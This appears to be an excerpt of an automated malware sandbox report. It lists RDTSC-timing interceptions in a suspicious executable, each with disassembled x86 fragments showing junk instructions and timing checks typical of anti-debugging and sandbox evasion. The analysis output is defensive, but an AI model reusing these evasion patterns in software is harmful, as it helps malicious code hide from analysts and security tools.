Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1024552 second address: 10245CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007FA441297136h 0x0000000f pop eax 0x00000010 mov edi, 2DFD870Ch 0x00000015 lea ebx, dword ptr [ebp+12449347h] 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007FA441297128h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 xchg eax, ebx 0x00000036 jns 00007FA441297141h 0x0000003c push eax 0x0000003d jbe 00007FA441297134h 0x00000043 push eax 0x00000044 push edx 0x00000045 je 00007FA441297126h 0x0000004b rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1024719 second address: 102471F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1024793 second address: 1024797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1024797 second address: 102479B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 102479B second address: 10247D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push ebx 0x0000000b jne 00007FA44129712Ch 0x00000011 pop edi 0x00000012 push 00000000h 0x00000014 add dword ptr [ebp+122D2F08h], edi 0x0000001a push 3355BEF6h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA44129712Fh 0x00000027 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104677F second address: 1046797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA4407343E4h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1046797 second address: 10467A5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10467A5 second address: 10467A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104495C second address: 104496C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FA441297126h 0x0000000a je 00007FA441297126h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1044E68 second address: 1044E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1044FFF second address: 1045008 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1045008 second address: 1045024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA4407343D6h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jnp 00007FA4407343D6h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1045024 second address: 104502D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104502D second address: 1045035 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1045035 second address: 104503A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104503A second address: 1045058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA4407343E6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10451E7 second address: 10451F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA44129712Ah 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10451F7 second address: 1045209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FA4407343D6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1045462 second address: 1045468 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1045DFD second address: 1045E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 jl 00007FA4407343F9h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1045E0C second address: 1045E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10460BD second address: 10460CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FA4407343D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10460CC second address: 10460D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10460D0 second address: 10460E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10460E9 second address: 1046100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA441297133h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1046100 second address: 1046104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1046104 second address: 104610A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104610A second address: 1046118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FA4407343D8h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1046118 second address: 1046131 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007FA441297126h 0x00000009 jmp 00007FA44129712Ah 0x0000000e pop ebx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1046578 second address: 104657C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104657C second address: 1046592 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297130h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1046592 second address: 10465CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E3h 0x00000007 jp 00007FA4407343EFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10465CE second address: 10465EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FA441297126h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FA44129712Ch 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 101B280 second address: 101B284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 101B284 second address: 101B29C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FA44129712Dh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104E73B second address: 104E740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104E740 second address: 104E746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104E746 second address: 104E74A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104D513 second address: 104D51D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104D51D second address: 104D521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104D521 second address: 104D543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA441297138h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104D543 second address: 104D548 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104DC48 second address: 104DC4E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104DC4E second address: 104DC78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA4407343E0h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104DC78 second address: 104DC7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 104DC7C second address: 104DC82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 105380D second address: 1053811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1053811 second address: 1053817 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1053817 second address: 105382C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA44129712Fh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1052C26 second address: 1052C33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FA4407343D6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1052C33 second address: 1052C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA441297134h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1053010 second address: 105301A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA4407343D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1053353 second address: 1053359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1053359 second address: 105335F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 105335F second address: 1053388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FA441297138h 0x0000000e jbe 00007FA441297126h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1053388 second address: 1053391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1054AB2 second address: 1054B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 xor dword ptr [esp], 4BD7988Ch 0x0000000c mov di, si 0x0000000f call 00007FA441297129h 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007FA441297131h 0x0000001b jmp 00007FA441297137h 0x00000020 popad 0x00000021 jne 00007FA44129712Ch 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1054B08 second address: 1054B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1054B0D second address: 1054B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1054B13 second address: 1054B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1054B17 second address: 1054B83 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FA44129712Ch 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 jmp 00007FA441297139h 0x0000001d jmp 00007FA441297130h 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 jc 00007FA441297144h 0x0000002d pushad 0x0000002e jmp 00007FA441297136h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1054F03 second address: 1054F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 105518F second address: 1055194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1055194 second address: 10551A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10551A3 second address: 10551A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 105B1E7 second address: 105B1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 105CFFB second address: 105CFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 105CFFF second address: 105D003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 105D003 second address: 105D00B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 105D00B second address: 105D011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1060AD9 second address: 1060ADE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1060ADE second address: 1060B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FA4407343D8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 movsx ebx, bx 0x00000027 mov dword ptr [ebp+122D26F3h], edx 0x0000002d push 00000000h 0x0000002f ja 00007FA4407343D9h 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FA4407343E9h 0x0000003f rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1060B3B second address: 1060B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1060B3F second address: 1060B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1061D70 second address: 1061D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jng 00007FA44129712Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1061D80 second address: 1061D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10643BC second address: 10643C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10643C2 second address: 10643C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10661EC second address: 1066209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297135h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1066209 second address: 106620D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 106620D second address: 1066293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add edi, 7E45678Fh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FA441297128h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c jp 00007FA44129712Ch 0x00000032 mov dword ptr [ebp+122D3BB1h], eax 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007FA441297128h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 xor dword ptr [ebp+122D2813h], esi 0x0000005a xchg eax, esi 0x0000005b jmp 00007FA441297130h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 jnc 00007FA441297126h 0x0000006b rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1066293 second address: 1066299 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1068993 second address: 1068998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 106AB69 second address: 106ABEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FA4407343D8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 and ebx, 4FCAF20Bh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FA4407343D8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov di, 7CFFh 0x0000004b adc di, B9FCh 0x00000050 jp 00007FA4407343DEh 0x00000056 pushad 0x00000057 mov dword ptr [ebp+122D2674h], edx 0x0000005d popad 0x0000005e push 00000000h 0x00000060 cld 0x00000061 push eax 0x00000062 ja 00007FA4407343E2h 0x00000068 jo 00007FA4407343DCh 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 106BA88 second address: 106BA8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 106BA8E second address: 106BA93 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
